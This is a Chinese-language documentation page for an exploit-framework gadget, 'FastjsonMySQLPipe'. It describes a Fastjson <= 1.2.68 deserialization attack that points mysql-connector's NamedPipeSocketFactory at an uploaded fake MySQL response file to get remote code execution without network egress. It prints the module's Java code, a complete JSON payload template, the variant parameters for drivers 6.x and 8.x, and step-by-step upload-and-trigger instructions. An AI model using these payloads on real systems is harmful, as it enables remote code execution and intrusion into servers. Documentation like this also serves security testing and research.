Skip to content

Latest commit

 

History

History
79 lines (70 loc) · 4.57 KB

File metadata and controls

79 lines (70 loc) · 4.57 KB

Mysql-connector 1.2.68(FastjsonMySQLPipe)

  • 类别:fastjson 别名:— 优先级:—
  • 作者:—
  • 依赖mysql(mysql-connector-java 驱动)、fastjson <= 1.2.68、需配合 FakeMySQLBuildPipeFile 模块进行 MySQL 不出网利用(Mysql8 只能打 8.0.19)

作用

FastjsonMySQLJdbc不出网(本地命名管道)变体。把恶意 MySQL 连接的 socketFactory 换成 NamedPipeSocketFactory,令客户端不通过 TCP、而是通过一个本地命名管道文件(.bin)读取「MySQL 服务端响应」。该 .bin 文件由 FakeMySQLBuildPipeFile 模块预先生成并上传到目标机,从而在完全隔离网络的环境下仍能触发 autoDeserialize 反序列化 RCE。

链接标签

  • 入口 tagsFastjsonPayloadEND
    • FastjsonPayload:产出交由 Fastjson Payload 解析的 JSON 字符串。
    • END:链尾,无下游;反序列化 payload 由管道文件提供,不内嵌。
  • 衔接 nextTags:无。
  • excludes:无。

源码剖析

与 MySQLJdbc 同构,三套模板按 mysqlVersion 分派,getObject 填入 userPipePath

public Object getObject(byte[] bytes) throws Exception {
    String templateToUse = "";
    templateToUse = "5.1.x".equals(this.mysqlVersion) ? template5
                  : ("6.0.2/6.0.3".equals(this.mysqlVersion) ? template6 : template8);
    return String.format(templateToUse, this.user, this.PipePath);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
    return this.getObject((byte[]) chain.doCreate(context));
}

invoke 取到的内层 byte[] 同样未被 getObject 使用(本 gadget 是 END)。

5.1.x 模板与出网版的关键差异在 info 块:

{
  "x1": {
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.jdbc.JDBC4Connection",
    "hostToConnectTo": "127.0.0.1",
    "portToConnectTo": 3306,
    "info": {
      "useSSL": "false",
      "user": "%s",
      "HOST": "xxx",
      "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
      "autoDeserialize": "true",
      "NUM_HOSTS": "1",
      "socketFactory": "com.mysql.jdbc.NamedPipeSocketFactory",
      "namedPipePath": "%s",
      "DBNAME": "test"
    },
    "databaseToConnectTo": "test",
    "url": ""
  }
}
  • hostToConnectTo 固定 127.0.0.1——因为不走网络,实际读写目标是本地命名管道,而非远程主机。
  • socketFactory: com.mysql.jdbc.NamedPipeSocketFactory + namedPipePath: %s:mysql-connector 用命名管道(Windows \\.\pipe\... 或落地的管道/文件)替代 TCP socket,namedPipePath 指向攻击者上传的 PipeFile.bin。驱动把该文件内容当作 MySQL 服务端应答解析,autoDeserialize=true + ServerStatusDiffInterceptor 令其中的序列化对象被 readObject
  • template6(6.0.2/6.0.3)改写 jdbc:mysql://... URL,socketFactory=com.mysql.cj.core.io.NamedPipeSocketFactory&namedPipePath=%stemplate8(8.0.x <=8.0.19)用 ReplicationConnectionUrlproperties,键为 socketFactory=com.mysql.cj.protocol.NamedPipeSocketFactory + path=%s。三者原理一致,仅包名/参数名随版本变化。

参数(@Param)

字段 名称 说明 默认 可选值
user mysql 用户名 连接用户名 mysql
PipePath mysqlPipe 文件地址 FakeMySQLBuildPipeFile 生成并上传到目标的管道 .bin 文件路径 PipeFile.bin
mysqlVersion mysql 版本 目标 mysql-connector 驱动版本,套用对应模板 5.1.x 5.1.x(5.1.1~5.1.48)/ 6.0.2/6.0.3 / 8.0.x(jdbc <= 8.0.19

适用版本与原理要点

  • Fastjson <= 1.2.68java.lang.AutoCloseable@type 绕过)。
  • 需 mysql-connector-java 驱动,版本匹配 mysqlVersion;Mysql8 仅 <= 8.0.19
  • 不出网利用:需先用 FakeMySQLBuildPipeFile 模块生成 .bin 管道文件并上传到目标(Dbname 固定为 test,改动会导致连不上;且生成的流文件每次都会变,修改后须重新生成)。管道文件到位后,本 JSON 触发驱动读取管道即完成反序列化,全程无需目标出网。

所属预设链

自由构件,未直接出现在 51 条预设链中(usedInChains 为空)。

关联

  • 出网对照版:FastjsonMySQLJdbc
  • 配套模块:FakeMySQLBuildPipeFile(生成管道 .bin 文件)。
  • 上游入口:Fastjson / Fastjson2 系 Payload(FastjsonPayload 标签)。